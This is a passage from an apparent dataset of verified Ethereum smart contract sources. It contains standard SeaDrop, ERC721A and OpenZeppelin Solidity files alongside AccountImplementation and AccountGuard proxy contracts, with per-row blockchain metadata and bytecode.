10_000 basis points collected.\n * @param dropStageIndex The drop stage index. Items minted\n * through mintPublic() have\n * dropStageIndex of 0.\n */\n event SeaDropMint(\n address indexed nftContract,\n address indexed minter,\n address indexed feeRecipient,\n address payer,\n uint256 quantityMinted,\n uint256 unitMintPrice,\n uint256 feeBps,\n uint256 dropStageIndex\n );\n\n /**\n * @dev An event with updated public drop data for an nft contract.\n */\n event PublicDropUpdated(\n address indexed nftContract,\n PublicDrop publicDrop\n );\n\n /**\n * @dev An event with updated token gated drop stage data\n * for an nft contract.\n */\n event TokenGatedDropStageUpdated(\n address indexed nftContract,\n address indexed allowedNftToken,\n TokenGatedDropStage dropStage\n );\n\n /**\n * @dev An event with updated allow list data for an nft contract.\n * \n * @param nftContract The nft contract.\n * @param previousMerkleRoot The previous allow list merkle root.\n * @param newMerkleRoot The new allow list merkle root.\n * @param publicKeyURI If the allow list is encrypted, the public key\n * URIs that can decrypt the list.\n * Empty if unencrypted.\n * @param allowListURI The URI for the allow list.\n */\n event AllowListUpdated(\n address indexed nftContract,\n bytes32 indexed previousMerkleRoot,\n bytes32 indexed newMerkleRoot,\n string[] publicKeyURI,\n string allowListURI\n );\n\n /**\n * @dev An event with updated drop URI for an nft contract.\n */\n event DropURIUpdated(address indexed nftContract, string newDropURI);\n\n /**\n * @dev An event with the updated creator payout address for an nft\n * contract.\n */\n event CreatorPayoutAddressUpdated(\n address indexed nftContract,\n address indexed newPayoutAddress\n );\n\n /**\n * @dev An event with the updated allowed fee recipient for an nft\n * contract.\n */\n event AllowedFeeRecipientUpdated(\n address indexed nftContract,\n address indexed feeRecipient,\n bool indexed allowed\n );\n\n /**\n * @dev An event with the updated validation parameters for server-side\n * signers.\n */\n event SignedMintValidationParamsUpdated(\n address indexed nftContract,\n address indexed signer,\n SignedMintValidationParams signedMintValidationParams\n ); \n\n /**\n * @dev An event with the updated payer for an nft contract.\n */\n event PayerUpdated(\n address indexed nftContract,\n address indexed payer,\n bool indexed allowed\n );\n}\n"
},
"lib/ERC721A/contracts/IERC721A.sol": {
"content": "// SPDX-License-Identifier: MIT\n// ERC721A Contracts v4.2.2\n// Creator: Chiru Labs\n\npragma solidity ^0.8.4;\n\n/**\n * @dev Interface of ERC721A.\n */\ninterface IERC721A {\n /**\n * The caller must own the token or be an approved operator.\n */\n error ApprovalCallerNotOwnerNorApproved();\n\n /**\n * The token does not exist.\n */\n error ApprovalQueryForNonexistentToken();\n\n /**\n * Cannot query the balance for the zero address.\n */\n error BalanceQueryForZeroAddress();\n\n /**\n * Cannot mint to the zero address.\n */\n error MintToZeroAddress();\n\n /**\n * The quantity of tokens minted must be more than zero.\n */\n error MintZeroQuantity();\n\n /**\n * The token does not exist.\n */\n error OwnerQueryForNonexistentToken();\n\n /**\n * The caller must own the token or be an approved operator.\n */\n error TransferCallerNotOwnerNorApproved();\n\n /**\n * The token must be owned by `from`.\n */\n error TransferFromIncorrectOwner();\n\n /**\n * Cannot safely transfer to a contract that does not implement the\n * ERC721Receiver interface.\n */\n error TransferToNonERC721ReceiverImplementer();\n\n /**\n * Cannot transfer to the zero address.\n */\n error TransferToZeroAddress();\n\n /**\n * The token does not exist.\n */\n error URIQueryForNonexistentToken();\n\n /**\n * The `quantity` minted with ERC2309 exceeds the safety limit.\n */\n error MintERC2309QuantityExceedsLimit();\n\n /**\n * The `extraData` cannot be set on an unintialized ownership slot.\n */\n error OwnershipNotInitializedForExtraData();\n\n // =============================================================\n // STRUCTS\n // =============================================================\n\n struct TokenOwnership {\n // The address of the owner.\n address addr;\n // Stores the start time of ownership with minimal overhead for tokenomics.\n uint64 startTimestamp;\n // Whether the token has been burned.\n bool burned;\n // Arbitrary data similar to `startTimestamp` that can be set via {_extraData}.\n uint24 extraData;\n }\n\n // =============================================================\n // TOKEN COUNTERS\n // =============================================================\n\n /**\n * @dev Returns the total number of tokens in existence.\n * Burned tokens will reduce the count.\n * To get the total number of tokens minted, please see {_totalMinted}.\n */\n function totalSupply() external view returns (uint256);\n\n // =============================================================\n // IERC165\n // =============================================================\n\n /**\n * @dev Returns true if this contract implements the interface defined by\n * `interfaceId`. See the corresponding\n * [EIP section](https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified)\n * to learn more about how these ids are created.\n *\n * This function call must use less than 30000 gas.\n */\n function supportsInterface(bytes4 interfaceId) external view returns (bool);\n\n // =============================================================\n // IERC721\n // =============================================================\n\n /**\n * @dev Emitted when `tokenId` token is transferred from `from` to `to`.\n */\n event Transfer(address indexed from, address indexed to, uint256 indexed tokenId);\n\n /**\n * @dev Emitted when `owner` enables `approved` to manage the `tokenId` token.\n */\n event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId);\n\n /**\n * @dev Emitted when `owner` enables or disables\n * (`approved`) `operator` to manage all of its assets.\n */\n event ApprovalForAll(address indexed owner, address indexed operator, bool approved);\n\n /**\n * @dev Returns the number of tokens in `owner`'s account.\n */\n function balanceOf(address owner) external view returns (uint256 balance);\n\n /**\n * @dev Returns the owner of the `tokenId` token.\n *\n * Requirements:\n *\n * - `tokenId` must exist.\n */\n function ownerOf(uint256 tokenId) external view returns (address owner);\n\n /**\n * @dev Safely transfers `tokenId` token from `from` to `to`,\n * checking first that contract recipients are aware of the ERC721 protocol\n * to prevent tokens from being forever locked.\n *\n * Requirements:\n *\n * - `from` cannot be the zero address.\n * - `to` cannot be the zero address.\n * - `tokenId` token must exist and be owned by `from`.\n * - If the caller is not `from`, it must be have been allowed to move\n * this token by either {approve} or {setApprovalForAll}.\n * - If `to` refers to a smart contract, it must implement\n * {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.\n *\n * Emits a {Transfer} event.\n */\n function safeTransferFrom(\n address from,\n address to,\n uint256 tokenId,\n bytes calldata data\n ) external;\n\n /**\n * @dev Equivalent to `safeTransferFrom(from, to, tokenId, '')`.\n */\n function safeTransferFrom(\n address from,\n address to,\n uint256 tokenId\n ) external;\n\n /**\n * @dev Transfers `tokenId` from `from` to `to`.\n *\n * WARNING: Usage of this method is discouraged, use {safeTransferFrom}\n * whenever possible.\n *\n * Requirements:\n *\n * - `from` cannot be the zero address.\n * - `to` cannot be the zero address.\n * - `tokenId` token must be owned by `from`.\n * - If the caller is not `from`, it must be approved to move this token\n * by either {approve} or {setApprovalForAll}.\n *\n * Emits a {Transfer} event.\n */\n function transferFrom(\n address from,\n address to,\n uint256 tokenId\n ) external;\n\n /**\n * @dev Gives permission to `to` to transfer `tokenId` token to another account.\n * The approval is cleared when the token is transferred.\n *\n * Only a single account can be approved at a time, so approving the\n * zero address clears previous approvals.\n *\n * Requirements:\n *\n * - The caller must own the token or be an approved operator.\n * - `tokenId` must exist.\n *\n * Emits an {Approval} event.\n */\n function approve(address to, uint256 tokenId) external;\n\n /**\n * @dev Approve or remove `operator` as an operator for the caller.\n * Operators can call {transferFrom} or {safeTransferFrom}\n * for any token owned by the caller.\n *\n * Requirements:\n *\n * - The `operator` cannot be the caller.\n *\n * Emits an {ApprovalForAll} event.\n */\n function setApprovalForAll(address operator, bool _approved) external;\n\n /**\n * @dev Returns the account approved for `tokenId` token.\n *\n * Requirements:\n *\n * - `tokenId` must exist.\n */\n function getApproved(uint256 tokenId) external view returns (address operator);\n\n /**\n * @dev Returns if the `operator` is allowed to manage all of the assets of `owner`.\n *\n * See {setApprovalForAll}.\n */\n function isApprovedForAll(address owner, address operator) external view returns (bool);\n\n // =============================================================\n // IERC721Metadata\n // =============================================================\n\n /**\n * @dev Returns the token collection name.\n */\n function name() external view returns (string memory);\n\n /**\n * @dev Returns the token collection symbol.\n */\n function symbol() external view returns (string memory);\n\n /**\n * @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token.\n */\n function tokenURI(uint256 tokenId) external view returns (string memory);\n\n // =============================================================\n // IERC2309\n // =============================================================\n\n /**\n * @dev Emitted when tokens in `fromTokenId` to `toTokenId`\n * (inclusive) is transferred from `from` to `to`, as defined in the\n * [ERC2309](https://eips.ethereum.org/EIPS/eip-2309) standard.\n *\n * See {_mintERC2309} for more details.\n */\n event ConsecutiveTransfer(uint256 indexed fromTokenId, uint256 toTokenId, address indexed from, address indexed to);\n}\n"
},
"lib/openzeppelin-contracts-upgradeable/contracts/proxy/utils/Initializable.sol": {
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts (last updated v4.7.0) (proxy/utils/Initializable.sol)\n\npragma solidity ^0.8.2;\n\nimport \"../../utils/AddressUpgradeable.sol\";\n\n/**\n * @dev This is a base contract to aid in writing upgradeable contracts, or any kind of contract that will be deployed\n * behind a proxy. Since proxied contracts do not make use of a constructor, it's common to move constructor logic to an\n * external initializer function, usually called `initialize`. It then becomes necessary to protect this initializer\n * function so it can only be called once. The {initializer} modifier provided by this contract will have this effect.\n *\n * The initialization functions use a version number. Once a version number is used, it is consumed and cannot be\n * reused. This mechanism prevents re-execution of each \"step\" but allows the creation of new initialization steps in\n * case an upgrade adds a module that needs to be initialized.\n *\n * For example:\n *\n * [.hljs-theme-light.nopadding]\n * ```\n * contract MyToken is ERC20Upgradeable {\n * function initialize() initializer public {\n * __ERC20_init(\"MyToken\", \"MTK\");\n * }\n * }\n * contract MyTokenV2 is MyToken, ERC20PermitUpgradeable {\n * function initializeV2() reinitializer(2) public {\n * __ERC20Permit_init(\"MyToken\");\n * }\n * }\n * ```\n *\n * TIP: To avoid leaving the proxy in an uninitialized state, the initializer function should be called as early as\n * possible by providing the encoded function call as the `_data` argument to {ERC1967Proxy-constructor}.\n *\n * CAUTION: When used with inheritance, manual care must be taken to not invoke a parent initializer twice, or to ensure\n * that all initializers are idempotent. This is not verified automatically as constructors are by Solidity.\n *\n * [CAUTION]\n * ====\n * Avoid leaving a contract uninitialized.\n *\n * An uninitialized contract can be taken over by an attacker. This applies to both a proxy and its implementation\n * contract, which may impact the proxy. To prevent the implementation contract from being used, you should invoke\n * the {_disableInitializers} function in the constructor to automatically lock it when it is deployed:\n *\n * [.hljs-theme-light.nopadding]\n * ```\n * /// @custom:oz-upgrades-unsafe-allow constructor\n * constructor() {\n * _disableInitializers();\n * }\n * ```\n * ====\n */\nabstract contract Initializable {\n /**\n * @dev Indicates that the contract has been initialized.\n * @custom:oz-retyped-from bool\n */\n uint8 private _initialized;\n\n /**\n * @dev Indicates that the contract is in the process of being initialized.\n */\n bool private _initializing;\n\n /**\n * @dev Triggered when the contract has been initialized or reinitialized.\n */\n event Initialized(uint8 version);\n\n /**\n * @dev A modifier that defines a protected initializer function that can be invoked at most once. In its scope,\n * `onlyInitializing` functions can be used to initialize parent contracts.\n *\n * Similar to `reinitializer(1)`, except that functions marked with `initializer` can be nested in the context of a\n * constructor.\n *\n * Emits an {Initialized} event.\n */\n modifier initializer() {\n bool isTopLevelCall = !_initializing;\n require(\n (isTopLevelCall && _initialized < 1) || (!AddressUpgradeable.isContract(address(this)) && _initialized == 1),\n \"Initializable: contract is already initialized\"\n );\n _initialized = 1;\n if (isTopLevelCall) {\n _initializing = true;\n }\n _;\n if (isTopLevelCall) {\n _initializing = false;\n emit Initialized(1);\n }\n }\n\n /**\n * @dev A modifier that defines a protected reinitializer function that can be invoked at most once, and only if the\n * contract hasn't been initialized to a greater version before. In its scope, `onlyInitializing` functions can be\n * used to initialize parent contracts.\n *\n * A reinitializer may be used after the original initialization step. This is essential to configure modules that\n * are added through upgrades and that require initialization.\n *\n * When `version` is 1, this modifier is similar to `initializer`, except that functions marked with `reinitializer`\n * cannot be nested. If one is invoked in the context of another, execution will revert.\n *\n * Note that versions can jump in increments greater than 1; this implies that if multiple reinitializers coexist in\n * a contract, executing them in the right order is up to the developer or operator.\n *\n * WARNING: setting the version to 255 will prevent any future reinitialization.\n *\n * Emits an {Initialized} event.\n */\n modifier reinitializer(uint8 version) {\n require(!_initializing && _initialized < version, \"Initializable: contract is already initialized\");\n _initialized = version;\n _initializing = true;\n _;\n _initializing = false;\n emit Initialized(version);\n }\n\n /**\n * @dev Modifier to protect an initialization function so that it can only be invoked by functions with the\n * {initializer} and {reinitializer} modifiers, directly or indirectly.\n */\n modifier onlyInitializing() {\n require(_initializing, \"Initializable: contract is not initializing\");\n _;\n }\n\n /**\n * @dev Locks the contract, preventing any future reinitialization. This cannot be part of an initializer call.\n * Calling this in the constructor of a contract will prevent that contract from being initialized or reinitialized\n * to any version. It is recommended to use this to lock implementation contracts that are designed to be called\n * through proxies.\n *\n * Emits an {Initialized} event the first time it is successfully executed.\n */\n function _disableInitializers() internal virtual {\n require(!_initializing, \"Initializable: contract is initializing\");\n if (_initialized != type(uint8).max) {\n _initialized = type(uint8).max;\n emit Initialized(type(uint8).max);\n }\n }\n\n /**\n * @dev Internal function that returns the initialized version. Returns `_initialized`\n */\n function _getInitializedVersion() internal view returns (uint8) {\n return _initialized;\n }\n\n /**\n * @dev Internal function that returns the initialized version. Returns `_initializing`\n */\n function _isInitializing() internal view returns (bool) {\n return _initializing;\n }\n}\n"
},
"lib/utility-contracts/src/ConstructorInitializable.sol": {
"content": "// SPDX-License-Identifier: MIT\npragma solidity >=0.8.4;\n\n/**\n * @author emo.eth\n * @notice Abstract smart contract that provides an onlyUninitialized modifier which only allows calling when\n * from within a constructor of some sort, whether directly instantiating an inherting contract,\n * or when delegatecalling from a proxy\n */\nabstract contract ConstructorInitializable {\n error AlreadyInitialized();\n\n modifier onlyConstructor() {\n if (address(this).code.length != 0) {\n revert AlreadyInitialized();\n }\n _;\n }\n}\n"
},
"lib/openzeppelin-contracts-upgradeable/contracts/utils/AddressUpgradeable.sol": {
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts (last updated v4.7.0) (utils/Address.sol)\n\npragma solidity ^0.8.1;\n\n/**\n * @dev Collection of functions related to the address type\n */\nlibrary AddressUpgradeable {\n /**\n * @dev Returns true if `account` is a contract.\n *\n * [IMPORTANT]\n * ====\n * It is unsafe to assume that an address for which this function returns\n * false is an externally-owned account (EOA) and not a contract.\n *\n * Among others, `isContract` will return false for the following\n * types of addresses:\n *\n * - an externally-owned account\n * - a contract in construction\n * - an address where a contract will be created\n * - an address where a contract lived, but was destroyed\n * ====\n *\n * [IMPORTANT]\n * ====\n * You shouldn't rely on `isContract` to protect against flash loan attacks!\n *\n * Preventing calls from contracts is highly discouraged. It breaks composability, breaks support for smart wallets\n * like Gnosis Safe, and does not provide security since it can be circumvented by calling from a contract\n * constructor.\n * ====\n */\n function isContract(address account) internal view returns (bool) {\n // This method relies on extcodesize/address.code.length, which returns 0\n // for contracts in construction, since the code is only stored at the end\n // of the constructor execution.\n\n return account.code.length > 0;\n }\n\n /**\n * @dev Replacement for Solidity's `transfer`: sends `amount` wei to\n * `recipient`, forwarding all available gas and reverting on errors.\n *\n * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost\n * of certain opcodes, possibly making contracts go over the 2300 gas limit\n * imposed by `transfer`, making them unable to receive funds via\n * `transfer`. {sendValue} removes this limitation.\n *\n * https://consensys.net/diligence/blog/2019/09/stop-using-soliditys-transfer-now/[Learn more].\n *\n * IMPORTANT: because control is transferred to `recipient`, care must be\n * taken to not create reentrancy vulnerabilities. Consider using\n * {ReentrancyGuard} or the\n * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].\n */\n function sendValue(address payable recipient, uint256 amount) internal {\n require(address(this).balance >= amount, \"Address: insufficient balance\");\n\n (bool success, ) = recipient.call{value: amount}(\"\");\n require(success, \"Address: unable to send value, recipient may have reverted\");\n }\n\n /**\n * @dev Performs a Solidity function call using a low level `call`. A\n * plain `call` is an unsafe replacement for a function call: use this\n * function instead.\n *\n * If `target` reverts with a revert reason, it is bubbled up by this\n * function (like regular Solidity function calls).\n *\n * Returns the raw returned data. To convert to the expected return value,\n * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].\n *\n * Requirements:\n *\n * - `target` must be a contract.\n * - calling `target` with `data` must not revert.\n *\n * _Available since v3.1._\n */\n function functionCall(address target, bytes memory data) internal returns (bytes memory) {\n return functionCallWithValue(target, data, 0, \"Address: low-level call failed\");\n }\n\n /**\n * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with\n * `errorMessage` as a fallback revert reason when `target` reverts.\n *\n * _Available since v3.1._\n */\n function functionCall(\n address target,\n bytes memory data,\n string memory errorMessage\n ) internal returns (bytes memory) {\n return functionCallWithValue(target, data, 0, errorMessage);\n }\n\n /**\n * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],\n * but also transferring `value` wei to `target`.\n *\n * Requirements:\n *\n * - the calling contract must have an ETH balance of at least `value`.\n * - the called Solidity function must be `payable`.\n *\n * _Available since v3.1._\n */\n function functionCallWithValue(\n address target,\n bytes memory data,\n uint256 value\n ) internal returns (bytes memory) {\n return functionCallWithValue(target, data, value, \"Address: low-level call with value failed\");\n }\n\n /**\n * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but\n * with `errorMessage` as a fallback revert reason when `target` reverts.\n *\n * _Available since v3.1._\n */\n function functionCallWithValue(\n address target,\n bytes memory data,\n uint256 value,\n string memory errorMessage\n ) internal returns (bytes memory) {\n require(address(this).balance >= value, \"Address: insufficient balance for call\");\n (bool success, bytes memory returndata) = target.call{value: value}(data);\n return verifyCallResultFromTarget(target, success, returndata, errorMessage);\n }\n\n /**\n * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],\n * but performing a static call.\n *\n * _Available since v3.3._\n */\n function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {\n return functionStaticCall(target, data, \"Address: low-level static call failed\");\n }\n\n /**\n * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],\n * but performing a static call.\n *\n * _Available since v3.3._\n */\n function functionStaticCall(\n address target,\n bytes memory data,\n string memory errorMessage\n ) internal view returns (bytes memory) {\n (bool success, bytes memory returndata) = target.staticcall(data);\n return verifyCallResultFromTarget(target, success, returndata, errorMessage);\n }\n\n /**\n * @dev Tool to verify that a low level call to smart-contract was successful, and revert (either by bubbling\n * the revert reason or using the provided one) in case of unsuccessful call or if target was not a contract.\n *\n * _Available since v4.8._\n */\n function verifyCallResultFromTarget(\n address target,\n bool success,\n bytes memory returndata,\n string memory errorMessage\n ) internal view returns (bytes memory) {\n if (success) {\n if (returndata.length == 0) {\n // only check isContract if the call was successful and the return data is empty\n // otherwise we already know that it was a contract\n require(isContract(target), \"Address: call to non-contract\");\n }\n return returndata;\n } else {\n _revert(returndata, errorMessage);\n }\n }\n\n /**\n * @dev Tool to verify that a low level call was successful, and revert if it wasn't, either by bubbling the\n * revert reason or using the provided one.\n *\n * _Available since v4.3._\n */\n function verifyCallResult(\n bool success,\n bytes memory returndata,\n string memory errorMessage\n ) internal pure returns (bytes memory) {\n if (success) {\n return returndata;\n } else {\n _revert(returndata, errorMessage);\n }\n }\n\n function _revert(bytes memory returndata, string memory errorMessage) private pure {\n // Look for revert reason and bubble it up if present\n if (returndata.length > 0) {\n // The easiest way to bubble the revert reason is using memory via assembly\n /// @solidity memory-safe-assembly\n assembly {\n let returndata_size := mload(returndata)\n revert(add(32, returndata), returndata_size)\n }\n } else {\n revert(errorMessage);\n }\n }\n}\n"
}
},
"settings": {
"remappings": [
"ERC721A/=lib/ERC721A/contracts/",
"ERC721A-Upgradeable/=lib/ERC721A-Upgradeable/contracts/",
"ds-test/=lib/ds-test/src/",
"forge-std/=lib/forge-std/src/",
"murky/=lib/murky/src/",
"openzeppelin-contracts/=lib/openzeppelin-contracts/contracts/",
"openzeppelin-contracts-upgradeable/=lib/openzeppelin-contracts-upgradeable/contracts/",
"operator-filter-registry/=lib/operator-filter-registry/src/",
"seadrop/=src/",
"solmate/=lib/solmate/src/",
"utility-contracts/=lib/utility-contracts/src/",
"create2-scripts/=lib/create2-helpers/script/",
"@openzeppelin/=lib/seaport/lib/openzeppelin-contracts/",
"@rari-capital/solmate/=lib/seaport/lib/solmate/",
"create2-helpers/=lib/create2-helpers/",
"erc4626-tests/=lib/openzeppelin-contracts-upgradeable/lib/erc4626-tests/",
"seaport-core/=lib/seaport/lib/seaport-core/",
"seaport-sol/=lib/seaport/lib/seaport-sol/",
"seaport-types/=lib/seaport/lib/seaport-types/",
"seaport/=lib/seaport/",
"solady/=lib/solady/",
"solarray/=lib/seaport/lib/solarray/src/"
],
"optimizer": {
"enabled": true,
"runs": 1000000
},
"metadata": {
"useLiteralContent": false,
"bytecodeHash": "none"
},
"outputSelection": {
"*": {
"*": [
"evm.bytecode",
"evm.deployedBytecode",
"devdoc",
"userdoc",
"metadata",
"abi"
]
}
},
"evmVersion": "london",
"viaIR": false,
"libraries": {}
}
}} |
1 | 20,290,760 | 56d56c15a596c9326ef5b8d3caac4ee469b2263afc00cf1134e06cc6dd92969f | 7cdf4996af07a7fefcb47825d92ba3f37ba2237895a30438656363633ec3929c | 4052bf5a71debc4627d80e762aedab1c5f2ec384 | f7b75183a2829843db06266c114297dfbfaee2b6 | d4a0282238c4c1b5f2e6e9f98d80ddcd348f421b | 3d602d80600a3d3981f3363d3d373d3d3d363d73d80a503a2c2a5dddd8be53fb75bd48f0bb465ed45af43d82803e903d91602b57fd5bf3 | 363d3d373d3d3d363d73d80a503a2c2a5dddd8be53fb75bd48f0bb465ed45af43d82803e903d91602b57fd5bf3 | {{
"language": "Solidity",
"sources": {
"contracts/AccountImplementation.sol": {
"content": "// SPDX-License-Identifier: UNLICENSED\npragma solidity 0.8.17;\n\n// Uncomment this line to use console.log\n// import \"hardhat/console.sol\";\nimport \"./AccountGuard.sol\";\n\ncontract AccountImplementation {\n AccountGuard public immutable guard;\n\n modifier authAndWhitelisted(address target, bool asDelegateCall) {\n (bool canCall, bool isWhitelisted) = guard.canCallAndWhitelisted(\n address(this),\n msg.sender,\n target,\n asDelegateCall\n );\n require(\n canCall,\n \"account-guard/no-permit\"\n );\n require(\n isWhitelisted,\n \"account-guard/illegal-target\"\n );\n _;\n }\n\n constructor(AccountGuard _guard) {\n require(\n address(_guard) != address(0x0),\n \"account-guard/wrong-guard-address\"\n );\n guard = _guard;\n }\n\n function send(address _target, bytes calldata _data)\n external\n payable\n authAndWhitelisted(_target, false)\n {\n (bool status, ) = (_target).call{value: msg.value}(_data);\n require(status, \"account-guard/call-failed\");\n }\n\n function execute(address _target, bytes memory /* code do not compile with calldata */ _data)\n external\n payable\n authAndWhitelisted(_target, true)\n\n returns (bytes32)\n {\n // call contract in current context\n assembly {\n let succeeded := delegatecall(\n sub(gas(), 5000),\n _target,\n add(_data, 0x20),\n mload(_data),\n 0,\n 32\n )\n returndatacopy(0, 0, returndatasize())\n switch succeeded\n case 0 {\n // throw if delegatecall failed\n revert(0, returndatasize())\n }\n default {\n return(0, 0x20)\n }\n }\n }\n \n receive() external payable {\n emit FundsRecived(msg.sender, msg.value);\n }\n\n function owner() external view returns (address) {\n return guard.owners(address(this));\n }\n\n event FundsRecived(address sender, uint256 amount);\n}\n"
},
"contracts/AccountGuard.sol": {
"content": "// SPDX-License-Identifier: UNLICENSED\npragma solidity 0.8.17;\n\n// Uncomment this line to use console.log\n// import \"hardhat/console.sol\";\nimport \"@openzeppelin/contracts/access/Ownable.sol\";\n\ncontract AccountGuard is Ownable {\n address factory;\n uint8 constant WHITELISTED_EXECUTE_MASK = 1;\n uint8 constant WHITELISTED_SEND_MASK = 2;\n mapping(address => mapping(address => bool)) private allowed;\n mapping(address => uint8) private whitelisted;\n mapping(address => address) public owners;\n\n function isWhitelisted(address target) public view returns (bool) {\n return (whitelisted[target] & WHITELISTED_EXECUTE_MASK) > 0;\n }\n\n function setWhitelist(address target, bool status) external onlyOwner {\n whitelisted[target] = status\n ? whitelisted[target] | WHITELISTED_EXECUTE_MASK\n : whitelisted[target] & ~WHITELISTED_EXECUTE_MASK;\n }\n\n function isWhitelistedSend(address target) public view returns (bool) {\n return (whitelisted[target] & WHITELISTED_SEND_MASK) > 0;\n }\n\n function setWhitelistSend(address target, bool status) external onlyOwner {\n whitelisted[target] = status\n ? whitelisted[target] | WHITELISTED_SEND_MASK\n : whitelisted[target] & ~WHITELISTED_SEND_MASK;\n }\n\n function canCallAndWhitelisted(\n address proxy,\n address operator,\n address callTarget,\n bool asDelegateCall\n ) external view returns (bool, bool) {\n return (\n allowed[operator][proxy],\n asDelegateCall\n ? isWhitelisted(callTarget)\n : isWhitelistedSend(callTarget)\n );\n }\n\n function canCall(address target, address operator)\n external\n view\n returns (bool)\n {\n return owners[target] == operator || allowed[operator][target];\n }\n\n function initializeFactory() external {\n require(factory == address(0), \"account-guard/factory-set\");\n factory = msg.sender;\n }\n\n function permit(\n address caller,\n address target,\n bool allowance\n ) external {\n require(\n allowed[msg.sender][target] || msg.sender == factory,\n \"account-guard/no-permit\"\n );\n if (msg.sender == factory) {\n owners[target] = caller;\n allowed[target][target] = true;\n } else {\n require(owners[target] != caller, \"account-guard/cant-deny-owner\");\n }\n allowed[caller][target] = allowance;\n\n if (allowance) {\n emit PermissionGranted(caller, target);\n } else {\n emit PermissionRevoked(caller, target);\n }\n }\n\n function changeOwner(address newOwner, address target) external {\n require(newOwner != address(0), \"account-guard/zero-address\");\n require(owners[target] == msg.sender, \"account-guard/only-proxy-owner\");\n owners[target] = newOwner;\n allowed[msg.sender][target] = false;\n allowed[newOwner][target] = true;\n emit ProxyOwnershipTransferred(newOwner, msg.sender, target);\n }\n\n event ProxyOwnershipTransferred(\n address indexed newOwner,\n address indexed oldAddress,\n address indexed proxy\n );\n event PermissionGranted(address indexed caller, address indexed proxy);\n event PermissionRevoked(address indexed caller, address indexed proxy);\n}\n"
},
"@openzeppelin/contracts/access/Ownable.sol": {
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts (last updated v4.7.0) (access/Ownable.sol)\n\npragma solidity ^0.8.0;\n\nimport \"../utils/Context.sol\";\n\n/**\n * @dev Contract module which provides a basic access control mechanism, where\n * there is an account (an owner) that can be granted exclusive access to\n * specific functions.\n *\n * By default, the owner account will be the one that deploys the contract. This\n * can later be changed with {transferOwnership}.\n *\n * This module is used through inheritance. It will make available the modifier\n * `onlyOwner`, which can be applied to your functions to restrict their use to\n * the owner.\n */\nabstract contract Ownable is Context {\n address private _owner;\n\n event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);\n\n /**\n * @dev Initializes the contract setting the deployer as the initial owner.\n */\n constructor() {\n _transferOwnership(_msgSender());\n }\n\n /**\n * @dev Throws if called by any account other than the owner.\n */\n modifier onlyOwner() {\n _checkOwner();\n _;\n }\n\n /**\n * @dev Returns the address of the current owner.\n */\n function owner() public view virtual returns (address) {\n return _owner;\n }\n\n /**\n * @dev Throws if the sender is not the owner.\n */\n function _checkOwner() internal view virtual {\n require(owner() == _msgSender(), \"Ownable: caller is not the owner\");\n }\n\n /**\n * @dev Leaves the contract without owner. It will not be possible to call\n * `onlyOwner` functions anymore. Can only be called by the current owner.\n *\n * NOTE: Renouncing ownership will leave the contract without an owner,\n * thereby removing any functionality that is only available to the owner.\n */\n function renounceOwnership() public virtual onlyOwner {\n _transferOwnership(address(0));\n }\n\n /**\n * @dev Transfers ownership of the contract to a new account (`newOwner`).\n * Can only be called by the current owner.\n */\n function transferOwnership(address newOwner) public virtual onlyOwner {\n require(newOwner != address(0), \"Ownable: new owner is the zero address\");\n _transferOwnership(newOwner);\n }\n\n /**\n * @dev Transfers ownership of the contract to a new account (`newOwner`).\n * Internal function without access restriction.\n */\n function _transferOwnership(address newOwner) internal virtual {\n address oldOwner = _owner;\n _owner = newOwner;\n emit OwnershipTransferred(oldOwner, newOwner);\n }\n}\n"
},
"@openzeppelin/contracts/utils/Context.sol": {
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts v4.4.1 (utils/Context.sol)\n\npragma solidity ^0.8.0;\n\n/**\n * @dev Provides information about the current execution context, including the\n * sender of the transaction and its data. While these are generally available\n * via msg.sender and msg.data, they should not be accessed in such a direct\n * manner, since when dealing with meta-transactions the account sending and\n * paying for execution may not be the actual sender (as far as an application\n * is concerned).\n *\n * This contract is only required for intermediate, library-like contracts.\n */\nabstract contract Context {\n function _msgSender() internal view virtual returns (address) {\n return msg.sender;\n }\n\n function _msgData() internal view virtual returns (bytes calldata) {\n return msg.data;\n }\n}\n"
}
},
"settings": {
"optimizer": {
"enabled": false,
"runs": 200
},
"outputSelection": {
"*": {
"*": [
"evm.bytecode",
"evm.deployedBytecode",
"devdoc",
"userdoc",
"metadata",
"abi"
]
}
},
"libraries": {}
}
}} |
1 | 20,290,761 | add239e247d128bbbcae81a865500c69ff09674b9ab9e0bff474822742224909 | 99b110ef67c4318b173a67b686e10cc1e12765a336787f7c28fe91be2811e885 | a55590bb1612ee19f38840b3271e91d2717ec80b | daba83815404f5e1bc33f5885db7d96f51e127f5 | eb4c3dd035d8485f594d0cc3218c9a26547074c9 | 3d602d80600a3d3981f3363d3d373d3d3d363d736c420beaaec4c554800dceb7779b84d5a735ea5f5af43d82803e903d91602b57fd5bf3 | 363d3d373d3d3d363d736c420beaaec4c554800dceb7779b84d5a735ea5f5af43d82803e903d91602b57fd5bf3 | {{
"language": "Solidity",
"sources": {
"src/moneymarkets/ImmutableBeaconProxy.sol": {
